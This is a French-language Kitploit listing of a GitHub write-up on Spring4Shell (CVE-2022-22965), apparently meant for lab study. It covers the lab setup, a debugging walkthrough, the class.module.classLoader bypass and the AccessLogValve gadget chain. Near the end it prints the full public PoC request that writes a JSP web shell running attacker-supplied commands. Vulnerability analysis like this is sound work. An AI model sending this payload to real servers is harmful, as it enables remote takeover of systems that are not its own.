Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-22965 — Analyse technique approfondie de CVE-2022-22965 (Spring4Shell) avec configuration de l'environnement, analyse de débogage pas à pas et décomposition de la chaîne d'exploitation pour une pratique en laboratoire éducatif. | Kitploit
Outils/GitHubGitHub/khidottrivi/cve-2022-22965
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebApprentissage et ÉducationLabs et Pratique
GitHubkhidottrivi/cve-2022-22965

CVE-2022-22965

Analyse technique approfondie de CVE-2022-22965 (Spring4Shell) avec configuration de l'environnement, analyse de débogage pas à pas et décomposition de la chaîne d'exploitation pour une pratique en laboratoire éducatif.

Voir le dépôt
4il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Analyse de CVE-2022-22965_Spring4Shell

Description de la vulnérabilité

Spring4Shell est le nom d'une CVE existant sur Spring Core du Spring Framework.

Avec un score CVSS 3.x de 9.8, la vulnérabilité est classée au plus haut niveau de risque (critique). Cette vulnérabilité permet à un attaquant d'exécuter du code d'exploitation à distance et de contrôler le serveur vulnérable.

Avec la popularité de Spring Core sur Internet et la gravité de l'impact de Spring4Shell, cette vulnérabilité est considérée par les experts comme ayant un impact non moins important que Log4shell.

Périmètre d'impact

Spring4Shell n'affecte pas toutes les applications web utilisant Spring Framework sur Internet ; elle exige que l'application web possède les éléments suivants :

  • L'application utilise Spring Framework version < 5.2, 5.2.0 – 5.2.19 ou 5.3.0 - 5.3.17
  • L'application utilise l'une des deux dépendances Spring-webmvc ou Spring-webflux
  • L'application utilise Java avec une version JDK >= 9
  • L'application est empaquetée sous forme d'une archive web Java traditionnelle (fichier .war) et déployée dans Tomcat (aucune vulnérabilité détectée sur les applications utilisant Spring Boot)

Configuration de l'environnement

Mon environnement de configuration aura les paramètres suivants :

  • Spring Framework 5.1.0
  • Spring-webmvc dependency 5.1.0
  • JDK 11.0.13 (j'utilise une machine virtuelle Kali 2021.4a et cette version Java est préinstallée)
  • Apache Tomcat 9.0.45

Créer l'environnement, le projet avec la vulnérabilité et configurer le débogage avec Intellij

  1. Installer Apache Tomcat

    Comme mentionné ci-dessus, j'utilise Kali 2021.4a et Apache Tomcat 9.0.45. Si vous ne savez pas comment installer Apache Tomcat et souhaitez le faire sur Kali Linux, vous pouvez consulter ce lien.

    Note : Remplacez le lien https://mirror.kiu.ac.ug/apache/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz par https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz

  2. Choisir un IDE

    Nous avons besoin d'un IDE pour coder le projet, l'empaqueter en fichier .war et surtout pour le débogage. J'utilise Intellij, vous pouvez tout à fait utiliser Eclipse ou Netbeans,... Tant que cet IDE supporte Java.

  3. Créer un projet simple contenant la vulnérabilité

    Mon projet est extrêmement simple, composé de :

    • un modèle HelloWorld.java

      Untitled

    • un contrôleur HelloWorldController.java

      Untitled

    • une vue hello.jsp

      Untitled

  4. Construire le fichier .war

    Pour empaqueter le projet, procédez comme suit : Build -> Build Artifacts -> helloworld:war -> Build.

    Attendez que la construction soit réussie ; le projet aura alors un dossier out supplémentaire. Allez dans ./out/artifacts/your_war_name/ et vous verrez un fichier your_war_name.war ; ce fichier .war est le projet web après compilation et empaquetage, et peut être déployé sur des servlets Java comme Apache Tomcat.

    Si Build Artifacts est grisé (impossible de construire les artefacts), cela signifie que les artefacts de construction n'ont pas été configurés pour ce projet. Allez dans : File -> Project Structure -> Artifacts -> Supprimez tous les artefacts existants -> Add (signe +) -> Web Application: Exploded -> From Modules... -> OK (fin de création de l'exploded) -> Add (signe +) -> Web Application: Archive -> For ‘helloworld:war exploded’ -> OK. Ensuite, refaites Build Artifacts.

  5. Déployer et configurer le débogage

    • Déploiement

      Pour déployer un fichier .war sur Apache Tomcat, il suffit de copier le fichier .war dans le dossier /webapps à l'intérieur du dossier Apache Tomcat (ex: pour moi, je copie le fichier helloworld.war (renommé pour plus de simplicité) dans /opt/tomcat/apache-tomcat-9.0.45/webapps/). Ensuite, démarrez le serveur Tomcat de deux manières (pour Linux) :

      • /opt/tomcat/apache-tomcat-9.0.45/bin/catalina.sh start (l'application s'exécute avec les droits de l'utilisateur exécutant cette commande, pour moi c'est root@@)
      • sudo service tomcat start (l'application s'exécute généralement avec les droits de l'utilisateur tomcat, selon la configuration du service lors de l'installation d'Apache Tomcat)

      Après le déploiement, accédez à http://localhost:8080/helloworld

    • Configuration du débogage

      Pour configurer le débogage (à distance) de Tomcat, procédez comme suit :

      1. Côté serveur :

        • ouvrez le fichier catalina.sh et remplacez la valeur localhost par l'ip_may_ao du paramètre JPDA_ADDRESS

          Untitled

        • redémarrez le serveur Tomcat avec : /opt/tomcat/apache-tomcat-9.0.45/bin/catalina.sh jpda start. À ce moment, en plus d'ouvrir le port 8080 pour le serveur HTTP, Tomcat ouvrira également le port 8000 pour que nous puissions nous connecter et déboguer.

        Note : Dans cette partie de débogage, j'exécute Intellij sur Windows 10 et Tomcat sur une machine virtuelle Kali, donc il est nécessaire de changer JDPA_ADDRESS ; si vous configurez à la fois Intellij et Windows 10 sur la même machine, vous n'avez pas besoin de le changer.

      2. Côté Intellij :

        • allez dans Run -> Edit Configurations... -> Add (signe +) -> Remote JVM Debug

        • Donnez un nom -> modifiez Host et Port avec l'ip et le port que vous avez modifiés dans le fichier catalina.sh -> OK -> Shift + F9 (lancer le débogage)

          Untitled

Analyse détaillée

Tout d'abord, je vais analyser le projet que j'utilise pour le débogage ; comme mentionné ci-dessus, ce projet se compose simplement de :

  • Un modèle HelloWorld.java, où l'objet HelloWorld a deux propriétés : message (string), person (string) et des méthodes setter/getter (en raison de cette structure simple, cet objet est appelé Plain Old Java Object - POJO). Le projet doit contenir une classe POJO - C'est une condition nécessaire pour pouvoir exploiter la faille Spring4Shell.
  • Un contrôleur HelloWorldController.java, dans cette classe il y a une fonction helloPost avec des paramètres d'entrée comprenant un objet helloWorld (HelloWorld) et un modèle (Model). Dans la fonction helloPost, on ajoute des attributs au modèle à partir des valeurs des propriétés de helloWorld (person et message) - La deuxième condition pour exploiter Spring4Shell est d'avoir un contrôleur qui reçoit en entrée un objet POJO.
  • Une vue hello.jsp, ce fichier hello.jsp appelle les attributs du modèle (envoyés depuis le contrôleur HelloWorldController.java) et les affiche à l'utilisateur.

J'ai un exemple comme suit :

Untitled

L'application a récupéré les informations des paramètres de la requête POST et créé un objet helloWorld{"person":"Leo", "message":"Hi there"}, cet objet helloWorld est l'entrée de la fonction helloPost. L'application effectuera les opérations décrites ci-dessus pour renvoyer cette réponse à l'utilisateur.

Le processus de conversion des paramètres du corps de la requête POST en objet helloWorld est entièrement effectué automatiquement par Spring. Alors, comment fait-il et valide-t-il les paramètres saisis ?

Source (Source) class CachedIntrospectionResults

Cette image a été capturée pendant le débogage, l'exemple a été réalisé avec une requête dont le corps était "class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT" (j'appelle la partie gauche (stack trace) (1) et la partie droite (2)) :

Untitled

Dans (1), j'ai mis en évidence les points à noter (en regardant de bas en haut). Spring applique applyPropertyValue à l'objet helloWorld à partir des paramètres de la requête POST. Et si les paramètres sont simplement person=Leo&message=Hi%20there, Spring pourra trouver que le mot-clé 'person' correspond à helloWorld.person, 'message' correspond à helloWorld.message.

Mais Spring permet également d'envoyer des objets via une requête HTTP (dire envoyer un objet via HTTP est un peu exagéré, mais c'est l'idée). Je suppose que ma propriété person n'est plus une chaîne mais un objet Person, et Person comporte deux sous-propriétés : name (string) et age (int). Et pour envoyer les informations sur cet objet Person au serveur, cela se fera comme suit : "person.name=Leo&person.age=23".

Ainsi, le format des paramètres devient A.B.C.D… = X au lieu de A=X. Et pour traiter le format A.B.C.D… = X, par exemple un paramètre comme A.B.C = X, Spring fera simplement ceci : transformer la chaîne en getA.getB.setC(X).

Je n'expliquerai pas ce qu'est getA, mais je donnerai un exemple avec le cas où le corps de la requête est "person.name=Leo&person.age=23". Spring cherchera dans l'objet helloWorld s'il possède la propriété person et la méthode getPerson ; si oui, Spring appelle helloWorld.getPerson(). À ce moment, Spring obtient un objet de type Person, que j'appellerai temporairement person1, puis Spring cherche dans person1 s'il a une propriété 'name' et une méthode setName (car après 'name' il y a un signe '=') ; si oui, Spring appelle setName(Leo) pour person1.

Pour person.age, Spring ne recommencera pas depuis le début pour trouver person puis age ; il réutilisera les objets précédents, dans ce cas helloWorld et person1.

Après les étapes ci-dessus, le serveur aura un objet helloWorld{person:{name:"Leo", age:23}} (en ignorant temporairement la propriété message).

Alors, comment Spring peut-il trouver les propriétés de chaque objet, par exemple la propriété 'person' de l'objet helloWorld ?

Regardez le début de (1) avec la fonction CachedIntrospectionResults(beanClass), cette fonction liste les propriétés de beanClass. Vous voyez dans (2) que lorsque beanClass est model.HelloWorld, il y a 3 propriétés. Alors que le modèle HelloWorld que j'ai créé n'a que deux propriétés : 'person' et 'message'. Donc la fonction a renvoyé une propriété supplémentaire 'class', et si vous développez la ligne 'class', vous verrez que le type de propriété est 'java.lang.class'.

Donc nous pouvons influencer un objet class de type java.lang.classclass -> C'est la source de ce Spring4Shell.

CVE-2010-1622

En rapport avec la source ci-dessus, il existe un CVE-2010-1622 lié à cette source. L'auteur de CVE-2010-1622 a exploité cette source avec la payload class.classLoader.URLs[0] = X.

Parce que dans la classe java.lang.class, il y a une méthode getClassLoader() qui retourne un objet ClassLoader, et ce ClassLoader peut influencer le tableau URLs de Tomcat (utilisé pour charger les ressources). Et en pouvant influencer les URLs, un attaquant peut modifier la valeur de URLs[0] en une adresse URL pour effectuer un accès à distance à un fichier Jar malveillant (contrôlé par l'attaquant).

Pour corriger cette faille, Spring a mis en place un filtre (blacklist) dans la fonction CachedIntrospectionResults(beanClass) :

Untitled

Si 'beanClass' == Class.class (java.lang.class), alors pd doit être différent de 'classLoader' et 'protectionDomain', et la preuve est qu'après que CachedIntrospectionResults ait chargé toutes les propriétés de java.lang.class, les deux propriétés 'classLoader' et 'protectionDomain' sont absentes :

Untitled

Mais à la place, depuis JDK 9, Class.class a ajouté une propriété 'module' et dans Class.module il y a une propriété classLoader :

Untitled

→ Ainsi, en utilisant JDK 9 ou version ultérieure, il est possible de contourner la blacklist de Spring !!!

Cible (Sink) class AccessLogValue

Sur la base du PoC public de la faille Spring4Shell, on peut voir que la payload utilisée a la forme :

root@kitploit:~
class.module.classloader.resources.context.parent.pipeline.first
⇔ Class.getModule().getClassLoader().getResources().getContext().getParent().getPipeline().getFirst()

Sur la base du débogage, on peut voir la chaîne de gadgets suivante :

root@kitploit:~
java.lang.class.getModule() -> java.lang.module.getClassLoader() ->
org.apache.catalia.loader.ParallelWebappClassLoader.getResources() ->
org.apache.catalia.webresources.StandardRoot.getContext() ->
org.apache.catalia.core.StandardContext.getParent() ->
org.apache.catalia.core.StandardHost.getPipeline() ->
org.apache.catalia.core.StandardPipeline.getFirst() ->
org.apache.catalia.valves.AccessLogValue.

Et la classe AccessLogValue a les propriétés suivantes :

Untitled

On peut appeler un objet AccessLogValue et cet AccessLogValue influence l'écriture des logs de Tomcat.

→ On peut créer un fichier sur le serveur en définissant les propriétés de l'objet AccessLogValue sur le serveur Tomcat. Pour ce faire, dans le PoC, ils ont défini les propriétés Prefix, Suffix, Pattern, Directory et fileDateFormat. Et la payload de la requête sera la suivante :

root@kitploit:~
“class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=”
  • Liste des points d'arrêt

    Pour faciliter le débogage, vous pouvez placer des points d'arrêt aux emplacements suivants :

    Untitled

Conclusion

Cette analyse n'a normalement pas de conclusion, cette section est ajoutée juste pour faire genre !!!

Si vous cherchez un correctif, le voici ici.

Télécharger l’outil